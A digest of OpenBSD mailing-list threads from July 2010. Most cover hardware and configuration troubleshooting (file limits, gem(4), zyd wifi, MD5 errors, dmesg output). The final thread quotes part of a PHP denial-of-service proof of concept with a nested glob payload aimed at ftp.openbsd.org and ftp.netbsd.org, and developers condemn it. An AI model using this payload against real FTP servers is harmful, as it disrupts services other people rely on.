Re: what is the OpenBSd equivalent for kern.maxfilesperproc on OpenBSD?

2010-07-02 Thread Daniel Ouellet

On 7/2/10 1:25 AM, Siju George wrote:

Hi,

It is for Squid Optimizations from

http://wiki.squid-cache.org/SquidFaq/SystemSpecificOptimizations


Well your description is miss leading here.

The text on that page said:

... increase the number of system-wide ...

so, that would be

# sysctl | grep kern.maxfiles
kern.maxfiles=7030

and that is:

# The maximum number of open files that may be open in the system.

However, the name of the sysclt that your document refer at

kern.maxfilesperproc=8192

Of files per process is set in login.conf and as an example:
# Setting used by MySQL daemon

mysql:\
:openfiles-cur=2048:\
:openfiles-max=3072:\
:tc=daemon:


So, you set that up under the class you will use.

man(5) login.conf

So, depend what you really want to do, use the right place, or if you 
are not sure, then don't touch it.


Best,

Daniel




thanks :-)

Siju




Re: Mac mini G4

2010-07-02 Thread FUGU
On my G4 I 've had no probles so far with gem(4).
I have a 1.25GHz one.
Maybe we can compare logs on this.
However, my mini is not under any heavy network load.
I have it as a DMZ host with snort enabled and
a simple pf config. Nothing much.Just testing so far(7 days)



On Fri, Jul 02, 2010 at 01:07:21AM -0400, Bryan Vyhmeister wrote:
 On Thu, Jul 1, 2010 at 4:02 PM, FUGU fugu...@gmail.com wrote:
  Also, while we are at it, does anyone know if openbsd supports
  the latest apple usb ethernet adapter?
  I see that the AXE(4) driver supports Apple USB Ethernet Adapter A1277
  but no info on the latest one
  thanks...

 I wasn't aware that there was a new one. The old one works great.
 Since we are on the topic of ethernet, I was wondering if anyone has
 experienced the gem(4) driver having issues on a Mac mini G4. I have
 six Mac mini G4's of varying speeds. There are two 1.25 GHz, two 1.42
 GHz, and two 1.5 GHz. I have had mixed results with the built-in
 gem(4). I first noticed the problem with one of the 1.25 GHz systems.
 With both identically configured, one of them would have the gem(4)
 interface drop out every few days and either 'sh /etc/netstart gem0'
 or a restart would restore connectivity. This was with OpenBSD/macppc
 4.5 and earlier for sure but I believe 4.7 is the same because the 1.5
 GHz system I just installed had trouble with gem(4) as well. Anyone
 have similar experiences?

 Bryan

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Re: Current status of suspend AND resume on X200s

2010-07-02 Thread Andreas Bihlmaier
On Thu, Jul 01, 2010 at 08:27:04PM -0400, Ted Unangst wrote:
 On Thu, Jul 1, 2010 at 1:06 PM, Ted Unangst ted.unan...@gmail.com wrote:
  It works for me if you suspend from console, but not X.  I made the
  following apm/suspend diff to make sure that happens.
 
  #!/bin/sh
 
  wsconsctl display.focus=1
  sleep 5
 
  This shouldn't be necessary, so a gold star to whoever fixes it.
 
 Paul fixed it, a gold star for him.  Everything just works now.
 

Good news everyone!
A gold star to all of you :)

I'll install a new snapshot after the hackathon as soon as it hits the mirrors.
Not having to close/reopen 1k of browser tabs between lectures will be 
wonderful.

Regards
ahb



Re: MD5 checksum

2010-07-02 Thread Stuart Henderson
On 2010-07-01, Claudiu Pruna clau...@net-go.net wrote:
 On Wed, 2010-06-30 at 16:21 -0600, Alexander Hall wrote:
 On 06/30/10 14:58, Claudiu Pruna wrote:
 Hi there,
  
 I have a question if I have one box running OpenBSD 4.7 and everytime I
  do md5 on one file I get different results, who is more succeptible to
  be broken ? cpu ? ram ? or mb. ?
  
  Thanks for your thoughts.
 
 If your system is indeed this corrupt I am surprised it will run at all.
 
 Please show the actual command that produces this.
 
 /Alexander

 the command is md5 file.iso and every run it gives another result.

 Claudiu


Pretty much anything could be broken. RAM, power supply, motherboard,
disk drive, CPU, cables, 

As a first step if you don't have spares to swap the various parts
out (and assuming you want to spend the time to try and keep the system
running), you could try reseating all connectors, clean RAM contacts
with a pencil eraser, visually inspect the boards looking for swollen
capacitors, etc...



Re: x4100

2010-07-02 Thread Stuart Henderson
On 2010-07-01, Marco Peereboom ma...@peereboom.us wrote:
 It seems that the sun X4100 works now with amd64 GENERIC.MP.  I'd like
 to get some test reports from folks in the field.

 You have to checkout a kernel using cvs because all niceness isn't in
 snaps yet.

 Thanks,
 /marco



If someone has a non-M2 X2100 to spare, they should try it with
amd64 MP to see if that is also fixed.

(It doesn't need a dual core CPU to crash, just booting an MP kernel
is enough...)



zyd on ASUS WL-159G - doesn't connect

2010-07-02 Thread czarkoff
Hello!

I have an Asus R2H Tablet I'm trying OpenBSD on. It features a ZD1211B
wireless chip onboard, which is noted as ASUS WL-159G module on the back side
of the device.

While being listed as known to work in manual it fails to associate with an
open network I've connected right now on my another device.

So the question is: what can I do about that?

While I can't send out the dmesg right now, dmesg | grep zyd outputs just
the initialization info, no errors.

--
Dmitrij D. Czarkoff



Re: zyd on ASUS WL-159G - doesn't connect

2010-07-02 Thread Tomas Bodzar
Complete dmesg will be useful too in any case. sudo pcidump -v of your
wifi will be fine too

On Fri, Jul 2, 2010 at 1:31 PM,  czark...@gmail.com wrote:
 Hello!

 I have an Asus R2H Tablet I'm trying OpenBSD on. It features a ZD1211B
 wireless chip onboard, which is noted as ASUS WL-159G module on the back
side
 of the device.

 While being listed as known to work in manual it fails to associate with an
 open network I've connected right now on my another device.

 So the question is: what can I do about that?

 While I can't send out the dmesg right now, dmesg | grep zyd outputs just
 the initialization info, no errors.

 --
 Dmitrij D. Czarkoff





--
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MSI,  Nikon,  Canon  Panasonic,  Wii,  Xbox 360,  Nintendo DS, 
PlayStation.

Regards,



Re: Mac mini G4

2010-07-02 Thread Bryan Vyhmeister
On Fri, Jul 2, 2010 at 2:50 AM, FUGU fugu...@gmail.com wrote:
 On my G4 I 've had no probles so far with gem(4).
 I have a 1.25GHz one.
 Maybe we can compare logs on this.
 However, my mini is not under any heavy network load.
 I have it as a DMZ host with snort enabled and
 a simple pf config. Nothing much.Just testing so far(7 days)

I'll watch my logs again. I never could pin it down to anything in
particular. It also seemed that either the Mac mini had the problem
and it showed up within a couple of days even with light network
traffic or it didn't have the problem at all. Your machine probably
does not have the issue.

Bryan



Re: MD5 checksum

2010-07-02 Thread Daniel Gracia
Are you mixing different memory modules on the same machine? If that's 
the case, extract one and try the computer with one module at a time, 
just to discard RAM problems.


Regards and good luck,

Dani

El 01/07/2010 12:15, Claudiu Pruna escribiC3:

On Thu, 2010-07-01 at 10:32 +0300, Thanasis wrote:

I had such a problem with under-volted RAM. The RAM (DDR2) needed to be
manually set to 2.0 or 2.1 Volts (in BIOS).

on 06/30/2010 11:58 PM Claudiu Pruna wrote the following:

Hi there,

I have a question if I have one box running OpenBSD 4.7 and everytime I
do md5 on one file I get different results, who is more succeptible to
be broken ? cpu ? ram ? or mb. ?

Thanks for your thoughts.







the computer is an PIII/450MHz:

hw.machine=i386
hw.model=Intel Pentium III (GenuineIntel 686-class, 512KB L2 cache)
hw.ncpu=1
hw.byteorder=1234
hw.pagesize=4096
hw.disknames=wd0,cd0
hw.diskcount=2
hw.cpuspeed=448
hw.vendor=Compaq
hw.product=Deskpro EP/SB Series
hw.physmem=268005376
hw.usermem=267993088

could it still be a ram voltage problem ? as it has sdram ?




Re: zyd on ASUS WL-159G - doesn't connect

2010-07-02 Thread czarkoff
Tomas Bodzar tomas.bod...@gmail.com wrote:

 Complete dmesg will be useful too in any case. sudo pcidump -v of your
 wifi will be fine too

pcidump -v doesn't help because WL-159G is a usb dongle, so it doesn't show up 
on pcidump.


OpenBSD 4.7 (GENERIC) #558: Wed Mar 17 20:46:15 MDT 2010
dera...@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC
cpu0: Intel(R) Pentium(R) M processor 1.00GHz (GenuineIntel 686-class) 1 GHz
cpu0: 
FPU,V86,DE,PSE,TSC,MSR,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,TM,SBF,EST,TM2
real mem  = 1324707840 (1263MB)
avail mem = 1274814464 (1215MB)
mainbus0 at root
bios0 at mainbus0: AT/286+ BIOS, date 10/16/07, BIOS32 rev. 0 @ 0xf0010, SMBIOS 
rev. 2.3 @ 0xf92f0 (36 entries)
bios0: vendor American Megatrends Inc. version 208 date 10/16/2007
bios0: ASUSTeK Computer Inc. R2H
acpi0 at bios0: rev 0
acpi0: tables DSDT FACP APIC MCFG SLIC OEMB HPET SSDT
acpi0: wakeup devices LAN0(S4) P0P1(S4) USB1(S3) USB2(S3) USB3(S3) USB4(S3) 
EUSB(S3) MC97(S4) AZAL(S3) PWRB(S4) SLPB(S4)
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: apic clock running at 99MHz
ioapic0 at mainbus0: apid 1 pa 0xfec0, version 20, 24 pins
acpihpet0 at acpi0: 14318179 Hz
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus -1 (P0P2)
acpiprt2 at acpi0: bus 1 (P0P1)
acpiprt3 at acpi0: bus 2 (P0P4)
acpiprt4 at acpi0: bus -1 (P0P5)
acpiprt5 at acpi0: bus -1 (P0P6)
acpiprt6 at acpi0: bus -1 (P0P7)
acpiec0 at acpi0
acpicpu0 at acpi0: C3, C2, C1, PSS
acpitz0 at acpi0: critical temperature 105 degC
acpiac0 at acpi0: AC unit offline
acpibat0 at acpi0: BAT0 model R2-2134 serial   type LIon oem ASUSTEK
acpibtn0 at acpi0: PWRB
acpibtn1 at acpi0: SLPB
acpivideo0 at acpi0: VGA_
acpivout0 at acpivideo0: CRTD
acpivout1 at acpivideo0: TVOD
acpivout2 at acpivideo0: LCDD
acpivideo1 at acpi0: VGA_
acpivout3 at acpivideo1: CRTD
acpivout4 at acpivideo1: TVOD
acpivout5 at acpivideo1: LCDD
bios0: ROM list: 0xc/0xea00!
cpu0: Enhanced SpeedStep 1078 MHz: speeds: 1000, 800, 600 MHz
pci0 at mainbus0 bus 0: configuration mode 1 (bios)
pchb0 at pci0 dev 0 function 0 Intel 82915GM Host rev 0x04
vga1 at pci0 dev 2 function 0 Intel 82915GM Video rev 0x04
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
intagp0 at vga1
agp0 at intagp0: aperture at 0xd000, size 0x1000
inteldrm0 at vga1: apic 1 int 16 (irq 11)
drm0 at inteldrm0
Intel 82915GM Video rev 0x04 at pci0 dev 2 function 1 not configured
azalia0 at pci0 dev 27 function 0 Intel 82801FB HD Audio rev 0x04: apic 1 int 
16 (irq 11)
azalia0: codecs: Analog Devices/0x1986
audio0 at azalia0
ppb0 at pci0 dev 28 function 0 Intel 82801FB PCIE rev 0x04: apic 1 int 16 
(irq 11)
pci1 at ppb0 bus 2
re0 at pci1 dev 0 function 0 Realtek 8101E rev 0x01: RTL8101E (0x3400), apic 
1 int 16 (irq 11), address 00:1d:60:38:96:0e
rlphy0 at re0 phy 7: RTL8201L 10/100 PHY, rev. 1
uhci0 at pci0 dev 29 function 0 Intel 82801FB USB rev 0x04: apic 1 int 23 
(irq 5)
uhci1 at pci0 dev 29 function 1 Intel 82801FB USB rev 0x04: apic 1 int 19 
(irq 6)
uhci2 at pci0 dev 29 function 2 Intel 82801FB USB rev 0x04: apic 1 int 18 
(irq 3)
uhci3 at pci0 dev 29 function 3 Intel 82801FB USB rev 0x04: apic 1 int 16 
(irq 11)
ehci0 at pci0 dev 29 function 7 Intel 82801FB USB rev 0x04: apic 1 int 23 
(irq 5)
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 Intel EHCI root hub rev 2.00/1.00 addr 1
ppb1 at pci0 dev 30 function 0 Intel 82801BAM Hub-to-PCI rev 0xd4
pci2 at ppb1 bus 1
sdhc0 at pci2 dev 1 function 0 Ricoh 5C822 SD/MMC rev 0x19: apic 1 int 17 
(irq 3)
sdmmc0 at sdhc0
ichpcib0 at pci0 dev 31 function 0 Intel 82801FBM LPC rev 0x04: PM disabled
pciide0 at pci0 dev 31 function 1 Intel 82801FB IDE rev 0x04: DMA, channel 0 
configured to compatibility, channel 1 configured to compatibility
wd0 at pciide0 channel 0 drive 0: TOSHIBA MK8009GAH
wd0: 16-sector PIO, LBA48, 76319MB, 156301488 sectors
wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 5
pciide0: channel 1 disabled (no drives)
usb1 at uhci0: USB revision 1.0
uhub1 at usb1 Intel UHCI root hub rev 1.00/1.00 addr 1
usb2 at uhci1: USB revision 1.0
uhub2 at usb2 Intel UHCI root hub rev 1.00/1.00 addr 1
usb3 at uhci2: USB revision 1.0
uhub3 at usb3 Intel UHCI root hub rev 1.00/1.00 addr 1
usb4 at uhci3: USB revision 1.0
uhub4 at usb4 Intel UHCI root hub rev 1.00/1.00 addr 1
isa0 at ichpcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
pms0 at pckbc0 (aux slot)
pckbc0: using irq 12 for aux slot
wsmouse0 at pms0 mux 0
pcppi0 at isa0 port 0x61
midi0 at pcppi0: PC speaker
spkr0 at pcppi0
npx0 at isa0 port 0xf0/16: reported by CPUID; using exception 16
mtrr: Pentium Pro MTRR support
ugen0 at uhub0 port 1 Syntek USB2.0 rev 

Re: Which netbook for OpenBSD

2010-07-02 Thread loran42o

Le 28/06/2010 08:41, b...@brodewicz.pl a C)crit :


Hi.

I'm planning to buy a netbook and I wonder which one is the best choice for
running OpenBSD?
Any sugestion?

Thanks


hi,
I've just buy a Samsung N210. for now i need to run -current because i 
wasn't able to run X properly on -stable


all seem's to be OK

see below :
a dmesg with GENERIC kernel
a dmesg with GENERIC.MP kernel
the result of 'sysctl hw.sensors'

OpenBSD 4.7-current (GENERIC) #43: Mon Jun 28 14:21:08 MDT 2010
dera...@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC
cpu0: Intel(R) Atom(TM) CPU N450 @ 1.66GHz (GenuineIntel 686-class) 
1.67 GHz
cpu0: 
FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,SBF,SSE3,MWAIT,DS-CPL,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE

real mem  = 1062490112 (1013MB)
avail mem = 1035993088 (988MB)
mainbus0 at root
bios0 at mainbus0: AT/286+ BIOS, date 03/17/10, BIOS32 rev. 0 @ 0xfdc86, 
SMBIOS rev. 2.5 @ 0xdf010 (29 entries)
bios0: vendor Phoenix Technologies Ltd. version 07JI.M065.20100317.JIP 
date 03/17/2010

bios0: SAMSUNG ELECTRONICS CO., LTD. N150/N210/N220
acpi0 at bios0: rev 2
acpi0: tables DSDT FACP MCFG HPET APIC BOOT SLIC SSDT SSDT SSDT
acpi0: wakeup devices EXP1(S4) EXP2(S4) EXP3(S4) EXP4(S4) PCIB(S3) 
USB1(S3) USB2(S3) USB3(S3) USB4(S3) EUSB(S3) PWRB(S4)

acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: apic clock running at 166MHz
cpu at mainbus0: not configured
ioapic0 at mainbus0: apid 2 pa 0xfec0, version 20, 24 pins
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 5 (EXP1)
acpiprt2 at acpi0: bus 7 (EXP2)
acpiprt3 at acpi0: bus 9 (EXP3)
acpiprt4 at acpi0: bus 11 (EXP4)
acpiprt5 at acpi0: bus 17 (PCIB)
acpiec0 at acpi0
acpicpu0 at acpi0: C1, PSS
acpitz0 at acpi0: critical temperature 98 degC
acpibat0 at acpi0: BAT1 type LION oem SAMSUNG Electronics
acpiac0 at acpi0: AC unit offline
acpibtn0 at acpi0: LID0
acpibtn1 at acpi0: PWRB
acpibtn2 at acpi0: SLPB
acpivideo0 at acpi0: IGD0
acpivout0 at acpivideo0: DD01
acpivout1 at acpivideo0: DD02
acpivout2 at acpivideo0: DD03
acpivout3 at acpivideo0: DD04
acpivout4 at acpivideo0: DD05
bios0: ROM list: 0xc/0xda00! 0xdf000/0x1000!
cpu0: Enhanced SpeedStep 1979 MHz: speeds: 1667, 1333, 1000 MHz
pci0 at mainbus0 bus 0: configuration mode 1 (bios)
pchb0 at pci0 dev 0 function 0 Intel Pineview DMI rev 0x00
vga1 at pci0 dev 2 function 0 Intel Pineview Video rev 0x00
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
intagp0 at vga1
agp0 at intagp0: aperture at 0xd000, size 0x1000
inteldrm0 at vga1: apic 2 int 16 (irq 11)
drm0 at inteldrm0
Intel Pineview Video rev 0x00 at pci0 dev 2 function 1 not configured
azalia0 at pci0 dev 27 function 0 Intel 82801GB HD Audio rev 0x02: 
apic 2 int 22 (irq 7)

azalia0: codecs: Realtek ALC269
audio0 at azalia0
ppb0 at pci0 dev 28 function 0 Intel 82801GB PCIE rev 0x02: apic 2 int 
16 (irq 11)

pci1 at ppb0 bus 5
athn0 at pci1 dev 0 function 0 Atheros AR9285 rev 0x01: apic 2 int 16 
(irq 11), address b4:82:fe:70:f7:b4

athn0: AR9285 rev 2 (1T1R), ROM rev 14
ppb1 at pci0 dev 28 function 1 Intel 82801GB PCIE rev 0x02: apic 2 int 
17 (irq 4)

pci2 at ppb1 bus 7
ppb2 at pci0 dev 28 function 2 Intel 82801GB PCIE rev 0x02: apic 2 int 
18 (irq 3)

pci3 at ppb2 bus 9
mskc0 at pci3 dev 0 function 0 Marvell Yukon 88E8040 rev 0x00, Yukon-2 
FE+ rev. A0 (0x0): apic 2 int 18 (irq 3)

msk0 at mskc0 port A: address 00:24:54:6d:5e:8d
eephy0 at msk0 phy 0: 88E3016 10/100 PHY, rev. 0
ppb3 at pci0 dev 28 function 3 Intel 82801GB PCIE rev 0x02: apic 2 int 
19 (irq 10)

pci4 at ppb3 bus 11
uhci0 at pci0 dev 29 function 0 Intel 82801GB USB rev 0x02: apic 2 int 
23 (irq 5)
uhci1 at pci0 dev 29 function 1 Intel 82801GB USB rev 0x02: apic 2 int 
19 (irq 10)
uhci2 at pci0 dev 29 function 2 Intel 82801GB USB rev 0x02: apic 2 int 
18 (irq 3)
uhci3 at pci0 dev 29 function 3 Intel 82801GB USB rev 0x02: apic 2 int 
16 (irq 11)
ehci0 at pci0 dev 29 function 7 Intel 82801GB USB rev 0x02: apic 2 int 
23 (irq 5)

usb0 at ehci0: USB revision 2.0
uhub0 at usb0 Intel EHCI root hub rev 2.00/1.00 addr 1
ppb4 at pci0 dev 30 function 0 Intel 82801BAM Hub-to-PCI rev 0xe2
pci5 at ppb4 bus 17
pcib0 at pci0 dev 31 function 0 Intel Tigerpoint LPC rev 0x02
ahci0 at pci0 dev 31 function 2 Intel 82801GR AHCI rev 0x02: apic 2 
int 19 (irq 10), AHCI 1.1

ahci0: PHY offline on port 2
ahci0: PHY offline on port 3
scsibus0 at ahci0: 32 targets
sd0 at scsibus0 targ 0 lun 0: ATA, Hitachi HTS54502, PB2O SCSI3 
0/direct fixed

sd0: 238475MB, 512 bytes/sec, 488397168 sec total
ichiic0 at pci0 dev 31 function 3 Intel 82801GB SMBus rev 0x02: apic 2 
int 19 (irq 10)

iic0 at ichiic0
spdmem0 at iic0 addr 0x50: 1GB DDR2 SDRAM non-parity PC2-6400CL5 SO-DIMM
usb1 at uhci0: USB revision 1.0
uhub1 at usb1 Intel UHCI root hub rev 

Re: libc/glob(3) DoS PoC for ftp.openbsd.org and ftp.netbsd.org

2010-07-02 Thread Bob Beck
It's rather astonishing what attempts to passfor a credible security
advisory today.

oh, I made a lot of connections to the site and they blocked me.

Thank you, Maksymillian, for showing us all that you can execute a
denial of service attack from 90.156.82.13.

I wonder how many connections his site supports to his services. perhaps some
similar security expert can test his connection rate and let us all know.

# traceroute  -n 90.156.82.13
traceroute to 90.156.82.13 (90.156.82.13), 64 hops max, 40 byte packets
 1  129.128.5.2  6.906 ms  0.818 ms  1.444 ms
 2  129.128.3.194  0.306 ms  0.303 ms  0.306 ms
 3  129.128.3.130  0.345 ms  0.502 ms  0.656 ms
 4  129.128.3.170  0.502 ms  0.726 ms  1.443 ms
 5  64.42.209.114  5.628 ms  5.562 ms  5.272 ms
 6  216.18.32.13  6.337 ms  5.676 ms  5.752 ms
 7  66.59.190.198  18.936 ms  19.18 ms  18.523 ms
 8  66.59.190.18  18.384 ms  18.659 ms  18.426 ms
 9  67.69.199.105  17.797 ms  17.785 ms  18.111 ms
10  64.86.115.13  17.369 ms  17.651 ms  17.175 ms
11  216.6.98.29  68.828 ms  69.162 ms  69.146 ms
12  216.6.57.9  87.943 ms  87.828 ms  87.879 ms
13  195.219.69.29  175.930 ms  176.47 ms  175.804 ms
14  195.219.69.2  189.366 ms  176.757 ms  179.460 ms
15  195.219.180.6  193.562 ms  197.755 ms  197.880 ms
16  195.219.246.2  181.461 ms  201.536 ms  179.635 ms
17  83.238.251.56  177.432 ms  177.971 ms  177.115 ms
18  83.238.250.38  189.741 ms  190.70 ms  189.646 ms
19  83.238.250.12  191.123 ms  193.99 ms  192.135 ms
20  83.238.251.41  189.843 ms  189.805 ms  189.245 ms
21  87.204.248.202  188.981 ms  189.167 ms  459.987 ms
22  87.99.33.90  190.739 ms  190.637 ms  190.955 ms
23  87.99.32.202  190.180 ms  190.271 ms  190.160 ms
24  90.156.82.13  289.39 ms  331.276 ms  319.419 ms
^C
# host 90.156.82.13
13.82.156.90.in-addr.arpa domain name pointer 90-156-82-13.magma-net.pl.
#




On 2 July 2010 15:47, Theo de Raadt dera...@cvs.openbsd.org wrote:
 OK, I am letting the maintainer of the site know, at the University Campus
 that you have just executed a denial of service against.

 I am surprised that you would go out of your way to declare so freely
 that you have purposely participated in a denial of service.

 Return-Path: c...@securityreason.com
 Delivery-Date: Fri Jul  2 15:38:24 2010
 Received: from shear.ucar.edu (lists.openbsd.org [192.43.244.163])
   by cvs.openbsd.org (8.14.3/8.12.1) with ESMTP id o62LcNgR016472
   (version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=FAIL)
   for dera...@cvs.openbsd.org; Fri, 2 Jul 2010 15:38:24 -0600 (MDT)
 Received: from v117864.home.net.pl (v117864.home.net.pl [89.161.252.8])
   by shear.ucar.edu (8.14.3/8.14.3) with SMTP id o62LcG20025931
   for dera...@openbsd.org; Fri, 2 Jul 2010 15:38:17 -0600 (MDT)
 Received: from 90-156-82-13.magma-net.pl [90.156.82.13] (HELO [127.0.0.1])
  by securityreason.home.pl [89.161.252.8] with SMTP (IdeaSmtpServer v0.70)
  id a6e20078b871f388; Fri, 2 Jul 2010 22:38:15 +0200
 Message-ID: 4c2e4e40.4080...@securityreason.com
 Date: Fri, 02 Jul 2010 22:38:24 +0200
 From: Maksymilian Arciemowicz c...@securityreason.com
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10)
Gecko/20100512 Thunderbird/3.0.5
 MIME-Version: 1.0
 To: dera...@openbsd.org, secur...@openbsd.org
 Subject: libc/glob(3) DoS PoC for ftp.openbsd.org and ftp.netbsd.org
 X-Enigmail-Version: 1.0.1
 Content-Type: text/plain; charset=ISO-8859-1
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 ?php

 /* Libc/glob(3) denial-of-service
 Maksymilian Arciemowicz from SecurityReason.com

 This script has been used to attack ftp.openbsd.org and ftp.netbsd.org

 Result (ftp.openbsd.org):
 - - Connection refused

 and in the end

 # telnet ftp.openbsd.org 21
 Trying 129.128.5.191...
 Connected to ftp.openbsd.org.
 Escape character is '^]'.
 421-  If you are seeing this message you have been blocked from using
 421- this ftp server - most likely for mirroring content without paying
 421- attention to what you were mirroring or where you should be mirroring
 421- it from, or for excessive connection rates.
 421- OpenBSD should *NOT* be mirrored from here, you should use
 421- a second level mirror as described in http://www.openbsd.org/ftp.html
 421

 Connection closed by foreign host.
 #

 ;]

 Result (ftp.netbsd.org):
 - - no more access for anonymous

 On 02.07.2010 20:29 CET, ftp.netbsd.org has return:
 530 User ftp access denied, connection limit of 160 reached.


 Affter attack from one host

 */

 $conf['host']= $argv[1] ? $argv[1] : HOST;
 $conf['user'] =$argv[2] ? $argv[2] : anonymous;
 $conf['pass'] =$argv[3] ? $argv[3] : m...@cxib.net;
 $conf['port']= $argv[4] ? $argv[4] : 21;

 $dirnames=array('A', 'B', 'C', 'D',
 'E','F','G','H','I','J','K','M','N','O','P');

$pathsent={..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{
..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*c
x;

 // fts_levelsumary
 $fts_level=2;

 

Re: libc/glob(3) DoS PoC for ftp.openbsd.org and ftp.netbsd.org

2010-07-02 Thread bofh
I know how to google for nmap!!  Can I be a security expert too???
Pretty please! :)

- paid professional paranoid

On 7/2/10, Bob Beck b...@ualberta.ca wrote:
 It's rather astonishing what attempts to passfor a credible security
 advisory today.

 oh, I made a lot of connections to the site and they blocked me.

 Thank you, Maksymillian, for showing us all that you can execute a
 denial of service attack from 90.156.82.13.

 I wonder how many connections his site supports to his services. perhaps
 some
 similar security expert can test his connection rate and let us all know.

 # traceroute  -n 90.156.82.13
 traceroute to 90.156.82.13 (90.156.82.13), 64 hops max, 40 byte packets
  1  129.128.5.2  6.906 ms  0.818 ms  1.444 ms
  2  129.128.3.194  0.306 ms  0.303 ms  0.306 ms
  3  129.128.3.130  0.345 ms  0.502 ms  0.656 ms
  4  129.128.3.170  0.502 ms  0.726 ms  1.443 ms
  5  64.42.209.114  5.628 ms  5.562 ms  5.272 ms
  6  216.18.32.13  6.337 ms  5.676 ms  5.752 ms
  7  66.59.190.198  18.936 ms  19.18 ms  18.523 ms
  8  66.59.190.18  18.384 ms  18.659 ms  18.426 ms
  9  67.69.199.105  17.797 ms  17.785 ms  18.111 ms
 10  64.86.115.13  17.369 ms  17.651 ms  17.175 ms
 11  216.6.98.29  68.828 ms  69.162 ms  69.146 ms
 12  216.6.57.9  87.943 ms  87.828 ms  87.879 ms
 13  195.219.69.29  175.930 ms  176.47 ms  175.804 ms
 14  195.219.69.2  189.366 ms  176.757 ms  179.460 ms
 15  195.219.180.6  193.562 ms  197.755 ms  197.880 ms
 16  195.219.246.2  181.461 ms  201.536 ms  179.635 ms
 17  83.238.251.56  177.432 ms  177.971 ms  177.115 ms
 18  83.238.250.38  189.741 ms  190.70 ms  189.646 ms
 19  83.238.250.12  191.123 ms  193.99 ms  192.135 ms
 20  83.238.251.41  189.843 ms  189.805 ms  189.245 ms
 21  87.204.248.202  188.981 ms  189.167 ms  459.987 ms
 22  87.99.33.90  190.739 ms  190.637 ms  190.955 ms
 23  87.99.32.202  190.180 ms  190.271 ms  190.160 ms
 24  90.156.82.13  289.39 ms  331.276 ms  319.419 ms
 ^C
 # host 90.156.82.13
 13.82.156.90.in-addr.arpa domain name pointer 90-156-82-13.magma-net.pl.
 #




 On 2 July 2010 15:47, Theo de Raadt dera...@cvs.openbsd.org wrote:
 OK, I am letting the maintainer of the site know, at the University Campus
 that you have just executed a denial of service against.

 I am surprised that you would go out of your way to declare so freely
 that you have purposely participated in a denial of service.

 Return-Path: c...@securityreason.com
 Delivery-Date: Fri Jul  2 15:38:24 2010
 Received: from shear.ucar.edu (lists.openbsd.org [192.43.244.163])
   by cvs.openbsd.org (8.14.3/8.12.1) with ESMTP id o62LcNgR016472
   (version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256
 verify=FAIL)
   for dera...@cvs.openbsd.org; Fri, 2 Jul 2010 15:38:24 -0600 (MDT)
 Received: from v117864.home.net.pl (v117864.home.net.pl [89.161.252.8])
   by shear.ucar.edu (8.14.3/8.14.3) with SMTP id o62LcG20025931
   for dera...@openbsd.org; Fri, 2 Jul 2010 15:38:17 -0600 (MDT)
 Received: from 90-156-82-13.magma-net.pl [90.156.82.13] (HELO
 [127.0.0.1])
  by securityreason.home.pl [89.161.252.8] with SMTP (IdeaSmtpServer
 v0.70)
  id a6e20078b871f388; Fri, 2 Jul 2010 22:38:15 +0200
 Message-ID: 4c2e4e40.4080...@securityreason.com
 Date: Fri, 02 Jul 2010 22:38:24 +0200
 From: Maksymilian Arciemowicz c...@securityreason.com
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10)
 Gecko/20100512 Thunderbird/3.0.5
 MIME-Version: 1.0
 To: dera...@openbsd.org, secur...@openbsd.org
 Subject: libc/glob(3) DoS PoC for ftp.openbsd.org and ftp.netbsd.org
 X-Enigmail-Version: 1.0.1
 Content-Type: text/plain; charset=ISO-8859-1
 Content-Transfer-Encoding: 7bit

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 ?php

 /* Libc/glob(3) denial-of-service
 Maksymilian Arciemowicz from SecurityReason.com

 This script has been used to attack ftp.openbsd.org and ftp.netbsd.org

 Result (ftp.openbsd.org):
 - - Connection refused

 and in the end

 # telnet ftp.openbsd.org 21
 Trying 129.128.5.191...
 Connected to ftp.openbsd.org.
 Escape character is '^]'.
 421-  If you are seeing this message you have been blocked from using
 421- this ftp server - most likely for mirroring content without paying
 421- attention to what you were mirroring or where you should be
 mirroring
 421- it from, or for excessive connection rates.
 421- OpenBSD should *NOT* be mirrored from here, you should use
 421- a second level mirror as described in
 http://www.openbsd.org/ftp.html
 421

 Connection closed by foreign host.
 #

 ;]

 Result (ftp.netbsd.org):
 - - no more access for anonymous

 On 02.07.2010 20:29 CET, ftp.netbsd.org has return:
